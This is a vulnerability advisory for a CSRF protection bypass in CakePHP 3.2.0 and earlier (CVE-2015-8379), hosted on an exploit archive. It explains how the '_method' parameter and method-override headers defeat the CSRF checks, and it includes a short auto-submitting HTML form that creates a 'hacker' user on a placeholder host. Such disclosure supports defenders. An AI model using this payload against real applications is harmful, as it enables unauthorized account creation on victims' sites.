what you don't know can hurt you

CakePHP 3.2.0 CSRF Bypass

CakePHP 3.2.0 CSRF Bypass
Posted Jan 17, 2016
Authored by EgiX

CakePHP versions 3.2.0 and below suffer from a _method cross site request forgery protection bypass vulnerability.

tags | exploit, bypass, csrf
advisories | CVE-2015-8379
MD5 | 4194ead0bfff2ad25e670ee6ecb9f903

CakePHP 3.2.0 CSRF Bypass

Change Mirror Download
---------------------------------------------------------------
CakePHP <= 3.2.0 "_method" CSRF Protection Bypass Vulnerability
---------------------------------------------------------------


[-] Software Link:

http://cakephp.org


[-] Affected Versions:

Version 3.2.0 RC1 and prior 3.x versions.
Version 2.8.0 RC1 and prior 2.x versions.


[-] Vulnerability Description:

CakePHP provides some built-in security features including CSRF and Form Tampering protection.
Under certain circumstances it might be possible to bypass such security checks, since they are
performed only when the HTTP request is e.g. POST or PUT. CakePHP’s Router class uses a number
of different indicators to detect the HTTP method being used, like the "_method" POST parameter
and the "X_HTTP_METHOD_OVERRIDE" and "REQUEST_METHOD" headers. By abusing this behavior an
attacker might be able to carry out CSRF attacks against CakePHP applications which do not
check the HTTP method being used before executing side-effects. This is possible by overriding
the HTTP method with a web page like this:

<html>
<body>
<form action="http://[HOST]/user/add" method="POST">
<input name="_method" type="hidden" value="CSRF" />
<input name="user" type="hidden" value="hacker" />
<input name="password" type="hidden" value="pwd" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>


[-] Solution:

No official solution is currently available. The vendor updated the official documentation
stating that developers should always check the HTTP method before executing side-effects.

NOTE: version 3.1.5 includes a bugfix for this issue stating "CSRF validation is applied to
all HTTP methods that are not ‘GET’, ‘OPTIONS’ or ‘HEAD’. This prevents invalid HTTP methods
from bypassing CSRF validation.", however this is a partial fix which does not solve the
vulnerability, because the bypass might still work by using one of the unprotected HTTP methods.


[-] Disclosure Timeline:

[10/11/2015] - Vendor notified
[26/11/2015] - Vendor tried to mitigate the issue with the following commit: https://git.io/vzcda
[01/12/2015] - Vendor response stating this issue has been addressed in version 3.1.5 and the documentation has been updated
[01/12/2015] - CVE number requested
[01/12/2015] - CVE number assigned
[12/01/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2015-8379 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano of Minded Security.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-01


[-] Other References:

http://blog.mindedsecurity.com/2016/01/request-parameter-method-may-lead-to.html

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    13 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close